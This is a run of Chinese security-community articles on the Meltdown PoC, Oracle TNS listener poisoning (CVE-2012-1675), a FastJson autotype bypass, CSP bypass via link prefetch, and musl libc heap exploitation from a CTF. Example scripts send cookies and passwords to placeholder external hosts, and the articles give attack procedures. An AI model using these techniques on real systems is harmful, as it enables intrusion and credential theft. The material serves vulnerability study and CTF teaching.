[5]。直到最近爆出完整的利用攻击，一石激起千层浪。该攻击之所以被称之为Meltdown（熔毁），其主要原因在于它可以破坏用户态应用程序和内核态操作系统之间最根本的防护隔离措施，使得攻击者在用户态就可以任意读取系统内核中的数据，造成内核信息泄露。这种攻击方式借助于硬件特性，无视现代操作系统KASLR等保护机制，甚至无视SMAP、SMEP、NX和PXN等CPU硬件保护机制，能够像熔浆一样将用户态和内核态之间的隔离墙熔掉，故而得名。
如下所示，Meltdown攻击代码的基本形式非常简单。需要注意的是，与Spectre攻击不同，Meltdown攻击的代码只需要在用户态运行即可，不需要任何特权，也不需要在内核里执行任何代码。
这段代码初看上去不会产生什么问题。因为在第一句的时候，用户态应用程序就会因访问内核态地址空间（[rcx]）而产生异常，使其既不能读取到rcx所指向的内核态地址空间，后面两条指令也不能得到执行。
但实际上，现代CPU处理器的特性（例如Intel的microarchitectures）使得这段代码的执行所产生的影响远超我们的想象，尤其是乱序执行（out-of-order execution）和推测执行（Speculative
execution）这两个特性。简单说来，在乱序执行和推测执行当中，指令的执行先后顺序可能被打乱，一条指令的后续指令可以在该指令没有完全产生效果之前就被执行。值得一提的是，现代CPU处理器所使用的乱序执行和推测执行算法思想在1967年就由Tomasulo[2]提出了。
而在上述Meltdown攻击代码当中，第一条MOV指令除了将rcx内核态地址内的数据放到al之中外，还会进行权限检查，检查进程是否有权限访问该地址。但是这种权限检查是一个相对耗费资源的操作，而乱序执行和推测执行使得CPU在al取到[rcx]内核数据后不会等待权限检查结束就继续执行第二条和第三条指令。在第二条指令计算了`rax=al*4096`之后，第三条指令会以`al*4096`作为索引来获取rbx用户态数组中的某一项数据。在第三条指令执行时，`rbx[al*4096]`会被加载到cache当中。
理论上讲，第一条指令的权限检查最终会失败而产生异常，导致寄存器状态回滚到第一条指令，使得第二、三条指令即使被乱序执行了也不会真正产生效果（即改变寄存器数据）。但实际上，正如前面所述的，第三条指令的执行使得用户态数组中的`rbx[al*4096]`被加载到了cache当中，影响了cache的状态，这就给了攻击者一个可以利用CPU
cache隐通道（covert channel）进行信息窃取的途径。
所谓的CPU
cache隐通道是指攻击者可以利用CPU加载某块地址空间的时间来推断这块内存最近是否被加载过，进而推测更多的数据。例如在上述攻击中，如果al的值是2，则`rbx[2*4096]`会被加载到cache当中。当攻击者以n（0<=n<=255）遍历加载`rbx[n*4096]`时，由于`rbx[2*4096]`被cache过了，则加载的时间会远小于加载其他`rbx[n*4096]`。由此可以推断出al是2，亦即最开始rcx所指向内核数据（byte
[rcx]）是2。
整个攻击流程如下图所示。经测试[4]，Meltdown中所使用到的这种隐通道其读取速率可以达到503KB/s。
除了乱序执行和推测执行，Meltdown攻击使攻击者在用户态即可读取内核态数据的另外一个先决条件在于，在现代操作系统中，用户态应用程序和内核共享着相同的虚拟地址空间。因此，已有的针对Meltdown的防御手段（例如Linux的KPTI/KAISER[4]）将用户态和内核态的映射分开，使用户态的虚拟地址空间中没有内核内存的映射。
#### 0x02 芯片漏洞实战之利用Meltdown获取Linux内核数据
这个POC是今天早上在github上公布的[6]。POC可以在用户态获取到`linux_proc_banner`这个内核地址上的数据。不过，因为KASLR的原因，这个地址是不确定的，这里POC
cheat了一下，用`“sudo cat
/proc/kallsyms”`获取到了`linux_proc_banner`在内核内存中的位置。其实用我们上一篇讲到的破解KASLR的方法，也可以猜出来kslide。
接下来POC会去打开/proc/version这个文件。/proc/version并不是一个文本文件，如果我们的程序尝试去读这个文件，内核会从`linux_proc_banner`这个地址动态地读取系统的信息并返回给程序。这就意味着这个地址上的数据会被加载到cache里。
因此POC会打开/proc/version这个文件，并每次在进行Meltdown攻击前，都调用pread()一次，保证内核会将这个地址上的数据读到cache中。接下来POC就开始尝试读取`linux_proc_banner`这个内核地址上的数据了。因为一个地址的数据是由8个bit组成的，POC里每次都是只猜一个bit，因此一个地址要猜8次才行。
猜数据的攻击也就是Meltdown攻击。首先POC将用户态target_array的偏移地址传给rbx。然后进行一段rept循环操作，保证数据已经读入cache。接着，将addr上的数据读到al中，随后根据bit的值（也就是第几位）对rax进行位移和AND
1操作，从而得到目标地址上第bit位的值（0或1）。最后根据是rax的值0还是1，对target_array进行写入操作。虽然在实际情况下，执行到`"movb
(%[addr]),
%%al\n\t"`这一行的时候，CPU就会报出异常了，但因为推测执行的原因，随后的代码已经被执行了，虽然推测执行的结果会回滚，但是对cache的操作却是不可逆的。
因为读cache的速度要比读内存快很多，因此我们可以通过访问target_array里数据的速度来判断哪个数据被放到了cache里，从而就能知道目标地址上某一位的数据是什么了。
那么程序最终的执行结果如下，POC成功的读到了内核在`linux_proc_banner`地址上的数据：
#### 0x03 总结
本篇文章分析了Meltdown漏洞的原理，并介绍了利用Meltdown获取Linux内核的数据方法。我们随后还会有更多关于芯片漏洞的分析和利用实战，欢迎继续关注本系列的文章，谢谢。
#### 参考文献：
[1] <https://support.apple.com/en-us/HT208394>
[2] TOMASULO, R. M. An efficient algorithm for exploiting multi- ple
arithmetic units. IBM Journal of research and Development 11, 1 (1967), 25_33.
[3] LIPP, M., SCHWARZ, M., GRUSS, D., PRESCHER, T., HAAS, W., MANGARD, S.,
KOCHER, P., GENKIN, D., YAROM, Y., AND HAMBURG, M. Meltdown. Unpublished,
2018.
[4] <https://lwn.net/Articles/738975/>
[5] <https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/>
[6] <https://github.com/paboldin/meltdown-exploit/>
* * * | 社区文章 |
# 漏洞原理分析：
CVE-2012-1675该漏洞产生的原因是因为“TNS
Listener”组件中允许攻击者不使用用户名和密码的情况下就变成“自家人”，也就是说攻击者冒充受害者的小弟，但是受害者没有进行任何认证就相信了。然后现在受害者就有两个同名数据库了，监听将自动按照负载均衡把这次访问发送到负载低的数据库上，进行连接访问。
然后我们就在连接处开设一个抓包工具就可以抓取受害人向攻击者发送的所有数据了。
这时候可能就有人问了，受害者都把数据给你了，你为什么不直接在你的数据库里面查看，这是因为你要查看必须要通过验证才能查看，验证也就是输入账号\密码。所以我们只能通过中间人攻击来获取数据。
# 漏洞复现：
环境配置：攻击者必须有一个oracle数据库环境不然无法进行TNS投毒攻击
我们先使用Metasploit的tnspoison_checker模块进行漏洞检测。
首先：use auxiliary/scanner/oracle/tnspoison_checker
然后：set RHOSTS 目标IP
然后：run
这时候返回信息说是存在cve-2012-1675漏洞的。
那么我们进行下一步测试
启动脚本 python tnspoisonv1.py 攻击者ip 端口 数据库名 受害者ip 端口
需要注意的是这里的数据库名必须是攻击者和受害者同名的数据库
然后模拟用户正常使用数据库，进行登陆以及使用数据库查询语句。
接下来开启wireshark 进行抓包
我们只需要注意TNS协议就好了，因为oracle数据库的协议是使用TNS协议的。
打开其中的数据，可以看见我们模拟用户登陆得到的数据库账号
我们在看下我们使用的查询语句是否能有拦截
可以看到这个是拦截成功了。
# 总结：
#####
这个漏洞危害还是挺大的，而且默认状态是开启的，需要运维人员自己配置，但是这个利用条件需要知道攻击者的数据库名字，同时要在6个字符才可以。但是和CVE-2012-3137一起打组合技的话，威力会大很多。 | 社区文章 |
## 漏洞危害：严重
* FastJson最新爆出的绕过方法可以通杀1.2.48版本以下所有，有传言在autotype开启的情况下可以打到1.2.57。
## 解决方案：
* FastJson升级到最新1.2.58版本；
* 采用默认的关闭autotype
## 漏洞详情：
fastjson是alibaba开源的一款高性能功能完善的JSON库，在2017年4月18日的时候官方自己爆出了一个安全漏洞，<https://github.com/alibaba/fastjson/wiki/security_update_20170315，影响范围>
1.2.24以及之前版本。随着逐步修复，1.2.42-45之间都出现过绕过。而最近爆出的更是通杀默认配置1.2.48版本以下。下边是漏洞分析。
payload：
这次绕过的大体思路是通过java.lang.Class，将JdbcRowSetImpl类加载到map缓存，从而绕过autotype的检测。因此将payload分两次发送，第一次加载，第二次执行。默认情况下，只要遇到没有加载到缓存的类，checkautotype就会抛出异常并中止。
入口在parse方法，单步进去
一步步跟到DefaultJSONParser.java中有一段调用checkautotype，也就是检测的核心逻辑。跟进该方法
clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures())
在开启的情况下，checkautotype方法类似黑名单，会进入下图逻辑，通过将类名hash后和denyHashCodes进行对比。目前有人fuzz出了部分黑名单中的类：<https://github.com/LeadroyaL/fastjson-blacklist。>
开启的情况下，当黑名单检测命中时，根据代码逻辑，会先通过loadClass方法加载该类并返回，因此就绕过了检测。
在autotype关闭的情况下，checkautotype方法类似白名单，主要检测类是否在白名单中，也就是是否被加载。通过getClassFromMapping尝试在缓存加载该类。如果不存在，下边还会通过deserializers来找，如果都没有，下边就会抛异常。
当发送第一次请求时，Class是通过deserializers.findClass加载的，然后Class将JdbcRowSetImpl类加载进map中，然后第二次请求时，就这里就成功找到了JdbcRowSetImpl类，从而绕过检测。
加载JdbcRowSetImpl后，就和之前的payload一样了，通过JdbcRowSetImpl中的调用链，通过jndi的lookup加载远程类。
调用栈如下图
JavaBeanDeserializer.deserialze -> FieldDeserializer.setValue ->
通过反射调用setAutoCommit方法给属性赋值 -> JNDI
connect，connect里调用InitialContext的lookup方法，根据前面payload里设置的DataSourceName找到，然后请求我们的jndi
server下载远程类并执行构造函数，从而造成rce。当然在8u191之上，需要结合tomcat el或者ldap来绕过。8u191之下可以通过ldap
reference来绕过对rmi从远程的Codebase加载Reference工厂类的限制。
JNDI注入高版本绕过参考：<https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>
48中的修复措施是，在loadClass时，将缓存开关默认置为false，所以默认是不能通过Class加载进缓存的。同时将Class类加入到了黑名单中。
最后附上jndi server | 社区文章 |
作者：LoRexxar 原文连接：<http://lorexxar.cn/2016/10/28/csp-then/>
随着时代的发展,XSS也成不可磨灭的漏洞之一，但是攻和防的进化总是相互交织的，所以CSP也应运而成，以白名单为基础而建立的防御策略本以为会是xss的克星，但事实并不是这样的，曾经也写过一篇文章
我的CSP科普文章
<https://xianzhi.aliyun.com/forum/read/532.html>
里面也提到了一些关于bypass的手段，但是没想到有些东西有点儿太过简单了，所以在看到知道创宇的文章时候有了新的想法
[hhttps://xianzhi.aliyun.com/forum/read/472.html/](https://xianzhi.aliyun.com/forum/read/472.html)
在原来的文章中，我主要提到了两种攻击手段，第一种是
1、script-src self unsafe-inline
在很多大型的站中我们能遇到这样的CSP，由于大站中很多时候会不可避免的写了很多内联脚本，导致CSP难以维护，这时候我们就有了很多的利用方式，可惜的是，CSP策略最重要的原则就是同源策略，如果你试图向外域发送请求，那么就会被CSP所拦截，比如
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");
?>
<html>
<head></head>
<body>
csp header test
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
var xml = new XMLHttpRequest();
xml.open('POST', 'http://xss.ssss', true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('username='+user+'&password='+pass);
</script>
</body>
</html>
如果script中为我们构造，就一定会被拦截，虽然你可以任意的执行alert(1).
这时候我们的解决办法往往是通过站内信的方式，把数据发送到同源下某个可以接受信息的地方，这样同样可以获得信息。
这时候就需要提到我曾经使用过的另一种攻击手段了，由于firefox的安全性仍然走在chrome的前面，所以就出现了一个特别的只在chrome下的利用方式
<link rel="prefetch" src="http://xxxx/submit.php?addadmin=123456">
当时我在文章中提到了这种攻击方式，可以构成csrf，由于link标签毕竟仍是一个html标签，所以没办法，仅通过link标签并没有办法盗取cookie。
但事实上如果我们存在一个script的构造点，但是却没办法通过CSP发请求到外网，我们有了新的解决办法，就是创宇的文章中提到的
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");
?>
<html>
<head></head>
<body>
csp header test
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);
</script>
</body>
</html>
把前面提到的两个洞结合起来，那么我们成功了的接收到了，bypass成功
下面是实例图
[
我们看到直接的请求被拦截了，但是link发送成功了
[
成功收到了 | 社区文章 |
# 从一次 CTF 出题谈 musl libc 堆漏洞利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文通过一道 CTF 题目展示 musl libc 堆溢出漏洞的利用方法。
## 0\. 前言
[2020 XCTF 高校战“疫”](https://www.xctf.org.cn/ctfs/detail/207/)于 3 月 9
日完美落幕，我代表[暨南大学 Xp0int 队](http://blog.leanote.com/xp0int)贡献了一道 PWN 题 musl。
题目的考察点是 musl libc 下堆漏洞的利用，主要是 musl libc 堆管理器的实现和堆溢出漏洞的利用。与传统的 glibc 相比，musl
libc 堆管理器十分简单，核心源码只有不到 400 行，所以只要认真阅读源码，即使以前没有了解过 musl libc，也能很容易地发现漏洞的利用方法。
（另外题目的原名是 carbon，不知为何放题的时候名字变成了 musl…）
本文从 musl 题目出发介绍 musl libc 堆漏洞的利用方法，分为三个部分：第一部分说明题目出题时的失误，第二部分是 musl libc
堆管理器实现的概述，最后是题目分析和漏洞利用。
第一次投稿，希望大家多多指教。
## 1\. 出题失误
其实这是我第一次为面向公众的 CTF
比赛出题，以前只给[校内新手赛](http://blog.leanote.com/post/xp0int/2019%E6%9A%A8%E5%8D%97%E5%A4%A7%E5%AD%A6-%E5%8D%8E%E4%B8%BA%E6%9D%AF-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9BWriteup)出过一些简单的基础题。出题的时候十分小心，特意花了许多时间来巩固题目防止出现失误以及非预期解。结果还是被各路大神找到了非预期解，打爆了题目。。。
经事后检讨，我找到两处出题失误。主要原因都是没有仔细检查好题目，给选手泄漏了多余的信息。接下来就讲一下出现的失误以及修复方法。
void init()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
LIST = mmap(0, sizeof(struct item) * MAX_LIST, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if( LIST == (struct item*)-1 ) {
echo("ERROR: Unable to mmapn");
a_crash();
}
alarm(30);
}
两个失误都位于`init`函数（`sub_400B77`）。上面就是`init`函数的源码，作用是初始化题目环境。
* * *
### 1.1 栈地址
最大的失误就是没有清除掉 libc 库上的栈地址。
题目的预期解法是使用 FSOP 来劫持程序控制流，但如果能够泄漏栈地址，就能直接向栈上写 ROP 链。比赛结束后我看了一下网上的
WP，大部分都是通过这个方法拿到 shell。
pwndbg> leakfind $libc+0x292000 --page_name=stack --max_offset=0x4000 --max_depth=1
0x7ffff7ffb000+0x32f0 —▸ 0x7fffffffe600 [stack]
0x7ffff7ffb000+0x31f8 —▸ 0x7fffffffe390 [stack]
0x7ffff7ffb000+0x2fd8 —▸ 0x7fffffffe4d8 [stack]
0x7ffff7ffb000+0x3000 —▸ 0x7fffffffe765 [stack]
0x7ffff7ffb000+0x3008 —▸ 0x7fffffffe770 [stack]
0x7ffff7ffb000+0x2908 —▸ 0x7fffffffefe6 [stack]
修复方法很简单，先用`pwdbg`搜了一下 libc 库 BSS 段上可以泄漏栈地址的地方。
#define WRITE_GOT 0x601F98
// clear all stack addresses in libc .BSS section
uint64_t* libc_bss = (uint64_t*)(*((uint64_t*)WRITE_GOT) - 0x5a3b5 + 0x292000);
libc_bss[0x2908/8] = 0;
libc_bss[0x2fd8/8] = 0;
libc_bss[0x3000/8] = 0;
libc_bss[0x3008/8] = 0;
libc_bss[0x31f8/8] = 0;
libc_bss[0x32f0/8] = 0;
libc_bss = 0;
然后在`init`函数里逐个清零就行了。
### 1.2 mmap
另一个失误是搞错了`mmap`函数的用法，导致`LIST`地址的泄漏 。
// void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
LIST = mmap(0, sizeof(struct item) * MAX_LIST, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
出问题的地方是`addr`参数。当`addr`为`0`时，`mmap`在程序的内存空间上找一块空闲的区域，然后将该区域的首地址返回给用户，然而这个地址并不是随机的。
在`gdb`下可以发现，`LIST`的内存位置恰好位于 libc 库附近，并且与 libc 基址有着固定的偏移`0x28c000`（libc
基址可泄漏），这导致了`LIST`地址的泄漏。
预期解是使用劫持 bin 链表的方法返回任意指针，实现任意地址写。然而如果已知`LIST`地址，就能通过直接劫持`LIST`来改写上面的指针地址了。
// generate a 40 bit random address
uint64_t addr = 0;
int fd = open("/dev/urandom", O_RDONLY);
if( read(fd, &addr, 5) < 0 )
a_crash();
close(fd);
addr &= ~0xFFF;
LIST = mmap((void*)addr, sizeof(struct item) * MAX_LIST, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if( LIST != (struct item*)addr ) {
echo("ERROR: Unable to mmapn");
a_crash();
}
addr = 0;
修复方法是用`/dev/urandom`随机生成一个 40 位地址，然后作为`addr`参数传递给`mmap`函数 。程序不能开启 PIE，因为开启 PIE
会导致预期解中绕过`0xbadbeef`的方法失效。
修复后，`LIST`是一个随机的地址。
* * *
void init()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// generate a 40 bit random address
uint64_t addr = 0;
int fd = open("/dev/urandom", O_RDONLY);
if( read(fd, &addr, 5) < 0 )
a_crash();
close(fd);
addr &= ~0xFFF;
LIST = mmap((void*)addr, sizeof(struct item) * MAX_LIST, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if( LIST != (struct item*)addr ) {
echo("ERROR: Unable to mmapn");
a_crash();
}
addr = 0;
#define WRITE_GOT 0x601F98
// clear all stack addresses in libc .BSS section
uint64_t* libc_bss = (uint64_t*)(*((uint64_t*)WRITE_GOT) - 0x5a3b5 + 0x292000);
libc_bss[0x2908/8] = 0;
libc_bss[0x2fd8/8] = 0;
libc_bss[0x3000/8] = 0;
libc_bss[0x3008/8] = 0;
libc_bss[0x31f8/8] = 0;
libc_bss[0x32f0/8] = 0;
libc_bss = 0;
alarm(30);
}
上面是修复后`init`函数的源码。
## 2\. musl libc 堆管理器概述
[musl libc](https://musl.libc.org/) 是一个专门为嵌入式系统开发的轻量级 libc 库，以简单、轻量和高效率为特色。有不少
Linux 发行版将其设为默认的 libc 库，用来代替体积臃肿的 glibc ，如 [Alpine
Linux](https://zh.wikipedia.org/zh-cn/Alpine_Linux)（做过 Docker
镜像的应该很熟悉）、[OpenWrt](https://zh.wikipedia.org/wiki/OpenWrt)（常用于路由器）和 Gentoo 等。
由于篇幅，我只讲一下 musl libc 堆管理器与 glibc 的不同、部分数据结构、 malloc 与 free 的实现以及静态堆内存。本文使用的
musl libc 版本为 [v1.1.24](https://github.com/bminor/musl/tree/v1.1.24)。
In principle, this memory allocator is roughly equivalent to Doug
Lea's dlmalloc with fine-grained locking.
malloc:
Uses a freelist binned by chunk size, with a bitmap to optimize
searching for the smallest non-empty bin which can satisfy an
allocation. If no free chunks are available, it creates a new chunk of
the requested size and attempts to merge it with any existing free
chunk immediately below the newly created chunk.
Whether the chunk was obtained from a bin or newly created, it's
likely to be larger than the requested allocation. malloc always
finishes its work by passing the new chunk to realloc, which will
split it into two chunks and free the tail portion.
根据[设计文档](https://github.com/bminor/musl/blob/v1.1.24/src/malloc/DESIGN)，musl
libc 堆管理器约等同于`dlmalloc`（glibc 堆管理器`ptmalloc2`的前身），因此某些部分如 chunk、unbin 与 glibc
十分相似。
与 glibc 差异较大的地方是 bin 的设计。在 musl libc 中，bin 是由 64 个结构类似 small bin 的双向循环链表组成，使用
bitmap 记录每个链表是否为非空，维护链表的方式是 FILO（从链表首部取出 chunk，从尾部插入 chunk）。每个 bin 容纳 chunk
的大小范围不同，最少的只能容纳一种大小的 chunk ，最多的可以容纳多达 1024 种不同大小的 chunk。
musl libc 没有实现如`__malloc_hook`、`__free_hook`之类的 hook 函数，所以不能直接通过堆来劫持程序控制流。另外，在
64 位系统下 chunk 大小是以 32 字节对齐的，这与 glibc 16 字节对齐不同，故 chunk 大小最小为 0x20 字节，然后按
0x40、0x60、0x80… 逐渐递增。
出于性能上的考虑，musl libc 堆管理器省略掉了许多安全性检查，特别是对 chunk 指针的合法性检查，因此 musl libc 的堆漏洞很容易利用。
malloc 和 free
源码位于[`src/malloc/malloc.c`](https://github.com/bminor/musl/blob/v1.1.24/src/malloc/)，部分结构体和宏定义位于[`src/internal/malloc_impl.h`](https://github.com/bminor/musl/blob/v1.1.24/src/internal/malloc_impl.h)。
### 2.1 数据结构
struct chunk {
size_t psize, csize; // 相当于 glibc 的 prev size 和 size
struct chunk *next, *prev;
};
chunk 头部结构跟 glibc 差不多，不过没有`nextsize`指针，chunk 之间不重用`psize`字段。
`psize`和`csize`字段都有标志位（glibc 只有`size`字段有），但只有一种位于最低位的标志位`INUSE`（glibc
最低三位都有标志位）。若设置`INUSE`标志位（最低位为1），表示 chunk 正在被使用；若没有设置`INUSE`标志位（最低位为0），表示 chunk
已经被释放或者通过`mmap`分配的，需要通过`psize`的标志位来进一步判断 chunk 的状态。
static struct {
volatile uint64_t binmap;
struct bin bins[64];
volatile int free_lock[2];
} mal;
`mal`结构体类似于 glibc
中的`arena`，记录着堆的状态，有三个成员：64位无符号整数`binmap`、链表头部数组`bins`和锁`free_lock`。`binmap`记录每个
bin 是否为非空，若某个比特位为 1，表示对应的 bin 为非空，即 bin 链表中有 chunk。
struct bin {
volatile int lock[2];
struct chunk *head;
struct chunk *tail;
};
bin 链表头部的结构如上。`head`和`tail`指针分别指向首部和尾部的 chunk，同时首部 chunk 的`prev`指针和尾部 chunk
的`next`指针指向 bin 链表头部，这样构成了循环链表。当链表为空时，`head`和`tail`指针等于 0 或者指向链表头部自身。
bin 下标 i | chunk 大小个数 | chunk 大小范围 | 下标 i 与 chunk 大小范围的关系
---|---|---|---
0-31 | 1 | 0x20 – 0x400 | (i+1) * 0x20
32-35 | 8 | 0x420 – 0x800 | (0x420+(i-32) _0x100) ~ (0x500+(i-32)_ 0x100)
36-39 | 16 | 0x820 – 0x1000 | (0x820+(i-36) _0x200) ~ (0x1000+(i-36)_ 0x200)
40-43 | 32 | 0x1020 – 0x2000 | (0x1020+(i-40) _0x400) ~ (0x1400+(i-40)_ 0x400)
44-47 | 64 | 0x2020 – 0x4000 | (0x2020+(i-44) _0x800) ~ (0x2800+(i-44)_ 0x800)
48-51 | 128 | 0x4020 – 0x8000 | (0x4020+(i-48) _0x1000) ~ (0x5000+(i-48)_
0x1000)
52-55 | 256 | 0x8020 – 0x10000 | (0x8020+(i-52) _0x2000) ~ (0xa000+(i-52)_
0x2000)
56-59 | 512 | 0x10020 – 0x20000 | (0x10020+(i-56) _0x4000) ~ (0x14000+(i-56)_
0x4000)
60-62 | 1024 | 0x20020 – 0x38000 | (0x20020+(i-60) _0x8000) ~ (0x28000+(i-60)_
0x8000)
63 | 无限 | 0x38000 以上 | 0x38000 ~
上面是每个 bin 的 chunk
大小范围，可以从源码中的[`bin_index_up`函数](https://github.com/bminor/musl/blob/v1.1.24/src/malloc/malloc.c#L96)推导出。前
32 个 bin 类似 fastbin 和 small bin，每个 bin 只对应一种大小的 chunk；后 32 个 bin 则类似 large
bin，一个 bin 对应多种大小的 chunk。
举个例子，当 bin 下标为 34 时，可知 chunk 大小范围为 0x620 ~ 0x700，即
0x620、0x640、0x660、0x680、0x6b0、0x6d0、0x6e0 和 0x700 一共 8 种大小的 chunk。
### 2.2 malloc 实现
// src/malloc/malloc.c L284-L331
void *malloc(size_t n)
{
struct chunk *c;
int i, j;
// 1. n 增加头部长度 OVERHEAD (0x10)，对齐 32 位：
// *n = (*n + OVERHEAD + SIZE_ALIGN - 1) & SIZE_MASK;
if (adjust_size(&n) < 0) return 0;
// 若 n 到达 MMAP_THRESHOLD (0x38000)，使用 mmap chunk
if (n > MMAP_THRESHOLD) {
[...]
return CHUNK_TO_MEM(c);
}
// 2. 计算 n 对应的 bin 下标 i
i = bin_index_up(n);
for (;;) {
// 3. 查找 binmap
uint64_t mask = mal.binmap & -(1ULL<<i);
// 若所有的可用 bin 均为空，调用 expand_heap 函数延展堆空间，生成新的 chunk
if (!mask) {
c = expand_heap(n);
[...]
break;
}
// 4. 获取大小最接近 n 的可用 bin 下标 j
j = first_set(mask);
lock_bin(j);
c = mal.bins[j].head; // c 是 bin j 链表首部的 chunk
// 5. 若符合条件，使用 pretrim 分割 c，否则使用 unbin 从链表中取出 c
if (c != BIN_TO_CHUNK(j)) {
if (!pretrim(c, n, i, j)) unbin(c, j);
unlock_bin(j);
break;
unlock_bin(j);
}
// 6. 回收 c 中大小超过 n 的部分
/* Now patch up in case we over-allocated */
trim(c, n);
return CHUNK_TO_MEM(c);
}
malloc 的实现十分简单，主要步骤是首先通过 binmap 选择 bin，然后取出 bin 链表首部的 chunk。取出 chunk
的过程中没有对链表和 chunk 头部进行任何检查。
malloc 详细步骤：
1. 调整 `n`，增加头部长度和对齐 32 位。
2. 如果 `n > MMAP_THRESHOLD`，使用 `mmap` 创建一块大小为 `n` 的内存，返回给用户。
3. 如果 `n <= MMAP_THRESHOLD`，计算 `n` 对应的 bin 下标 `i`，查找 binmap
* 如果所有的可用 bin 均为空，延展堆空间，生成一个新的 chunk
* 如果存在非空的可用 bin，选择大小最接近 `n` 的 bin `j`，得到 bin 链表首部的 chunk `c`
* 如果符合 `pretrim` 条件，使用 `pretrim` 分割 `c`
* 否则使用 `unbin` 从链表中取出 `c`
* 最后对 chunk 进行 `trim`，返回给用户。
接下来简单说一下`unbin`、`pretrim`和`trim`。
// src/malloc/malloc.c L188-L213
static void unbin(struct chunk *c, int i)
{
// 若 bin 只有一个 chunk，将 bin 设为空 bin
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
// 取出链表中的 chunk
c->prev->next = c->next;
c->next->prev = c->prev;
// 设置 INUSE 标志位
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}
`unbin`相当于 glibc 中的 `unlink`，作用是从 bin 双向链表中取出 chunk 。取出的过程中`unbin`没有检查 chunk
指针是否合法。
// src/malloc/malloc.c L233-L264
/* pretrim - trims a chunk _prior_ to removing it from its bin.
* Must be called with i as the ideal bin for size n, j the bin
* for the _free_ chunk self, and bin j locked. */
static int pretrim(struct chunk *self, size_t n, int i, int j)
{
size_t n1;
struct chunk *next, *split;
// 条件 1: bin j 下标大于 40
/* We cannot pretrim if it would require re-binning. */
if (j < 40) return 0;
// 条件 2: bin j 与 i 相隔 3 个 bin 或以上，
// 或者 j 等于 63 且 split 的大小大于 MMAP_THRESHOLD
if (j < i+3) {
if (j != 63) return 0;
n1 = CHUNK_SIZE(self);
if (n1-n <= MMAP_THRESHOLD) return 0;
} else {
n1 = CHUNK_SIZE(self);
}
// 条件 3: split 的大小属于 bin j 范围内，即 split 与 self 属于同一个 bin
if (bin_index(n1-n) != j) return 0;
// 切割出一块大小为 n 的 chunk
next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);
split->prev = self->prev;
split->next = self->next;
split->prev->next = split;
split->next->prev = split;
split->psize = n | C_INUSE;
split->csize = n1-n;
next->psize = n1-n;
self->csize = n | C_INUSE;
return 1;
}
`pretrim`的作用是切割大 chunk，防止把大小超过需求的 chunk 分配给用户。当满足一定条件时，`pretrim`从 bin 链表首部
chunk 切割出一块大小刚好符合需求的小 chunk，然后将小 chunk 分配给用户，链表首部 chunk 的位置保持不变。
// src/malloc/malloc.c L266-L282
static void trim(struct chunk *self, size_t n)
{
size_t n1 = CHUNK_SIZE(self);
struct chunk *next, *split;
// 条件：self 的大小 n1 多于 n DONTCARE (0x10) 字节
if (n >= n1 - DONTCARE) return;
// 将 self 的大小切割为 n，剩余部分成为新的 chunk split
next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);
split->psize = n | C_INUSE;
split->csize = n1-n | C_INUSE;
next->psize = n1-n | C_INUSE;
self->csize = n | C_INUSE;
// 将 split 释放到 bin
__bin_chunk(split);
}
malloc 的最后一步是`trim`，主要作用是回收 chunk 超过需求大小的部分。`trim`将 chunk 多余的部分切割出来，然后将其释放到
bin 中，减少内存浪费。
### 2.3 free 实现
// src/malloc/malloc.c L519-L529
void free(void *p)
{
if (!p) return;
struct chunk *self = MEM_TO_CHUNK(p);
// 若 csize 没有设置 INUSE 标志位，检查是否为 mmap chunk 或者 double free
// #define IS_MMAPPED(c) !((c)->csize & (C_INUSE))
if (IS_MMAPPED(self))
unmap_chunk(self);
else
__bin_chunk(self);
}
// src/malloc/malloc.c L509-L517
static void unmap_chunk(struct chunk *self)
{
size_t extra = self->psize;
char *base = (char *)self - extra;
size_t len = CHUNK_SIZE(self) + extra;
// 若 prev size 设置了 INUSE 标志位，视为 double free，crash
/* Crash on double free */
if (extra & 1) a_crash();
__munmap(base, len);
}
free 先对 chunk 进行 mmap / double free 检查。如果 chunk
的`csize`字段没有设置`INUSE`标志位，进入`unmap_chunk`函数检查`psize`字段。如果`psize`字段设置了`INUSE`标志位，视为
double free，crash；否则视为 mmap chunk，调用`__munmap`函数释放。
// src/malloc/malloc.c L440-L507
void __bin_chunk(struct chunk *self)
{
struct chunk *next = NEXT_CHUNK(self);
size_t final_size, new_size, size;
int reclaim=0;
int i;
// new_size 是 self 原来的大小，final_size 是 self 合并空闲 chunk 后的大小
final_size = new_size = CHUNK_SIZE(self);
// 若下一个 chunk 的 psize 不等于 self 的 csize，则 crash
/* Crash on corrupted footer (likely from buffer overflow) */
if (next->psize != self->csize) a_crash();
// 1. 检查 self 前后是否有空闲 chunk
for (;;) {
